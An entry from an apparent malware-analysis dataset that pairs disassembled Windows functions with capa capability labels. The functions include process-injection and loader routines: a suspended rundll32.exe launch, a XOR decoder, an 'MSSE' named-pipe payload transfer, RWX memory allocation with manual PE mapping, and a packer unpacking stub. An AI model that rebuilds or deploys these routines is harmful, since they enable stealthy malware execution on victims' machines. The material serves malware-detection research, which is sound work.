joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40170f
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8f8
test r8, r8
mov r12, rcx
mov ebx, edx
mov r13, r8
je 0x40160f
cmp byte [r8], 0
jne 0x40161a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x4016d2
lea rsi, [rsp + 0x870]
xor eax, eax
mov ecx, 0x1a
lea rbp, [rsp + 0x8d8]
mov r8d, 0x400
lea rdx, [rsp + 0x70]
mov rdi, rsi
rep stosd dword [rdi], eax
mov rdi, rbp
mov dword [rsp + 0x870], 0x68
mov cl, 6
rep stosd dword [rdi], eax
lea rcx, str.windir
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r9, [rsp + 0x70]
lea r8, str._sSystem32_s
mov edx, 0x400
lea rcx, [rsp + 0x470]
mov qword [rsp + 0x20], r13
call qword [sym.imp.msvcrt.dll__snprintf]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x40], rsi
lea rdx, [rsp + 0x470]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4016ff
mov rax, qword [rsp + 0x8d8]
test rax, rax
je 0x4016ff
lea rdi, [rsp + 0x50]
lea rsi, [rsp + 0x8d8]
mov ecx, 6
rep movsd dword [rdi], dword [rsi]
lea rdx, [rsp + 0x50]
movsxd r9, ebx
mov r8, r12
mov rcx, rax
call fcn.0040154d
nop
add rsp, 0x8f8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor eax, eax
jmp 0x401722
and r9d, 3
mov r9b, byte [r8 + r9]
xor byte [rcx + rax], r9b
inc rax
cmp eax, edx
mov r9d, eax
jl 0x401713
lea r8, str.rundll32.exe
jmp 0x4015ed

Function at 0x401740
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r8d, r8d
mov r9d, 1
mov rdi, rcx
mov esi, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov edx, 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea rcx, [0x004089b0]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov rbx, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x4017ec
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
mov rbp, qword [sym.imp.KERNEL32.dll_WriteFile]
jne 0x4017de
jmp 0x4017ec
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, esi
mov rdx, rdi
mov rcx, rbx
call rbp
test eax, eax
je 0x4017e2
mov eax, dword [rsp + 0x4c]
mov edx, eax
sub esi, eax
add rdi, rdx
test esi, esi
jg 0x4017b6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x401812
Capabilities:
Read file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov rdi, rcx
mov ebx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea rcx, [0x004089b0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
xor eax, eax
mov rbp, qword [sym.imp.KERNEL32.dll_ReadFile]
cmp rsi, 0xffffffffffffffff
jne 0x401897
jmp 0x4018a9
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x4c]
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
call rbp
test eax, eax
je 0x40189b
mov eax, dword [rsp + 0x4c]
mov edx, eax
sub ebx, eax
add rdi, rdx
test ebx, ebx
jg 0x40186f
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x401905
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
lea rcx, [0x004089b0]
mov r8d, 0x5c
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
lea r8, [0x004017f5]
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp fcn.004018b2
Function at 0x402290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
test r8, r8
mov rbx, rcx
mov rdi, rdx
mov rsi, r8
jne 0x4022c0
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
mov ecx, dword [0x00408360]
test ecx, ecx
jle 0x402497
mov rax, qword [0x00408358]
xor ebp, ebp
nop word [rax + rax]
mov rdx, qword [rax + 8]
cmp rbx, rdx
jb 0x4022fd
mov r8, qword [rax + 0x10]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402410
add ebp, 1
add rax, 0x18
cmp ebp, ecx
jne 0x4022e0
mov rcx, rbx
call fcn.00402910
test rax, rax
mov r12, rax
je 0x40249e
movsxd rbp, ebp
lea r13, [rbp + rbp*2]
shl r13, 3
mov rbp, r13
add rbp, qword [0x00408358]
mov qword [rbp + 0x10], rax
mov dword [rbp], 0
call fcn.00402a00
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x50]
mov qword [rbp + 8], rax
mov rax, qword [0x00408358]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rcx, qword [rax + r13 + 8]
call rbp
test rax, rax
je 0x4024ad
mov eax, dword [rsp + 0x74]
cmp eax, 4
jne 0x4023d0
add dword [0x00408360], 1
mov r8d, 0x30
lea rdx, [rsp + 0x20]
mov rcx, rbx
call rbp
test rax, rax
je 0x4024ca
mov eax, dword [rsp + 0x44]
cmp eax, 4
jne 0x402420
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
cmp eax, 0x40
je 0x402380
mov r9, qword [0x00408358]
mov r8d, 0x40
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
add r9, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402380
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00402220
nop dword [rax]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x402387
cmp eax, 0x40
je 0x4023a9
lea r9, [rsp + 0x8c]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rbp
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x44]
cmp eax, 0x40
je 0x4022ad
cmp eax, 4
je 0x4022ad
mov r8d, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x38]
lea r9, [rsp + 0x8c]
mov rcx, qword [rsp + 0x20]
call rbp
nop
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
xor ebp, ebp
jmp 0x402308
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00402220
mov rax, qword [0x00408358]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + r13 + 8]
call fcn.00402220
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, rbx
mov edx, 0x30
call fcn.00402220
nop
nop

Function at 0x4027f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
je 0x402800
repz ret
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x4027f9
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x402e80
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408940]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x00408968]
test rbx, rbx
je 0x402ed4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rdi
mov rbp, rax
call rsi
test eax, eax
jne 0x402ecb
test rbp, rbp
je 0x402ecb
mov rax, qword [rbx + 8]
mov rcx, rbp
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402eb0
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x00408940]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14007a7e0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14007a7f0]
mov dword [rax], 1
mov rax, qword [0x14007a800]
mov dword [rax], 1
mov rax, qword [0x14007a780]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14007a7d0]
mov dword [0x14007d020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14007a8b0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14007a890]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14007a730]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001726
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140001759
mov eax, 0
jmp 0x14000189e
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001785
mov eax, 0
jmp 0x14000189e
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0xf8]
test eax, eax
je 0x14000179d
mov eax, 0
jmp 0x14000189e
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
add rax, 0x108
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x50]
mov edx, eax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 0x30]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001816
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x50]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001824
mov eax, 0
jmp 0x14000189e
mov rax, qword [rbp - 0x28]
mov eax, dword [rax + 0x54]
mov ecx, eax
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp - 0x14], 0
jmp 0x14000188a
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x10]
mov ecx, eax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp - 0x20]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0xc]
mov r8d, eax
mov rax, qword [rbp - 8]
add rax, r8
mov r8, rcx
mov rcx, rax
call sym.memcpy
add qword [rbp - 0x10], 0x28
add dword [rbp - 0x14], 1
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0x14], eax
jl 0x140001849
mov rax, qword [rbp - 8]
add rsp, 0x50
pop rbp
ret

Function at 0x140001e10
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x140001e80
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14007d0b4]
mov r12, rcx
test ebx, ebx
jle 0x140001fb0
mov rax, qword [0x14007d0b8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x140001ecc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001f53
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140001eb0
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001fd2
mov rax, qword [0x14007d0b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x14007d0b8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001fb7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001f4c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001f60
add dword [0x14007d0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14007d0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001f4c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001ed7
mov rax, qword [0x14007d0b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002550
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x14007d120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14007d100]
test rbx, rbx
je 0x1400025a4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000259b
test r12, r12
je 0x14000259b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002580
lea rcx, [0x14007d120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400027c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400027d8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400027e0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x1400027f0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x14000283c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x140002833
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x14000283e
add rax, 0x28
cmp rax, r9
jne 0x140002820
xor eax, eax
ret

Function at 0x140002840
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x1400028d0
mov rdx, qword [0x14007a780]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x1400028be
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400028be
cmp word [rax + 0x18], 0x20b
jne 0x1400028be
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400028d0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x1400028a9
add r12, 0x28
cmp r12, rsi
je 0x1400028d0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x1400028a0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x1400028e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14007a780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002900
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002908
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002900
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002955
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000294c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002900
add rax, 0x28
cmp rax, r9
jne 0x140002938
xor eax, eax
ret

Function at 0x140002960
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14007a780]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002980
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002988
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002980
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1400029a0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14007a780]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400029c0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400029c8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400029c0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002a08
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400029ff
test rcx, rcx
je 0x1400029c0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400029f0
xor eax, eax
ret
Function at 0x140002a10
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14007a780]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002a30
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002a38
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002a50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14007a780]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002a70
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002a78
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002a70
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002a70
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002ab4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002ac8
add rax, 0x28
cmp r9, rax
jne 0x140002aa0
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x140002ae0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14007a780]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002b02
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002b10
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002b02
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002b02
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002b02
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002b5d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002b70
add rdx, 0x28
cmp r10, rdx
jne 0x140002b48
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002b7f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002b8f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002b66
test ecx, ecx
jg 0x140002b78
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14011fa10
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14011fa1d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14011fa2d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14011fa15
lea eax, [rcx + 1]
jmp 0x14011fa3b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14011fa4e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14011fa34
sub eax, 3
jb 0x14011fa6e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14011fabd
sar eax, 1
movsxd rbp, eax
jb 0x14011faa4
jmp 0x14011fa7c
add ebx, ebx
jne 0x14011fa7a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14011faa4
inc ecx
add ebx, ebx
jne 0x14011fa8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14011faa4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14011fa9d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14011fa8c
add ecx, 2
jmp 0x14011faa9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14011f9d2
jmp 0x14011fa1d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xa4200
mov dl, 0x26
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14011fb09
cmp rsi, rcx
jae 0x14011fb11
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14011faf0
cmp al, 0x8f
ja 0x14011faf0
cmp byte [rsi - 2], 0xf
je 0x14011faf6
sub al, 0xe8
cmp al, 1
ja 0x14011fada
cmp rsi, rcx
jae 0x14011fb11
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14011fae0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14011fb11
lodsb al, byte [rsi]
jmp 0x14011faf0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x11a000]
mov eax, dword [rdi]
or eax, eax
je 0x14011fb7a
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x1208c8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14011fb1e
jns 0x14011fb53
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14011fb5d
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14011fb74
mov qword [rbx], rax
add rbx, 8
jmp 0x14011fb3e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14011fbb4
cmp al, 0xef
ja 0x14011fba6
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14011fb86
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14011fb95
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x247]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14011fc08
sub rsp, 0xffffffffffffff80
jmp 0x14002c9d4
Function at 0x1400010f0
Capabilities:
Query or enumerate registry value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x40
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], r8
mov rbx, r8
xor r8d, r8d
mov dword [rsp + 0x38], 0x1fe
lea r9, [rsp + 0x3c]
mov qword [rsp + 0x28], rax
call qword [sym.imp.advapi32.dll_RegQueryValueExW]
test eax, eax
mov esi, eax
jne 0x14000112c
cmp dword [rsp + 0x3c], 1
je 0x140001140
mov eax, esi
add rsp, 0x40
pop rbx
pop rsi
pop rdi
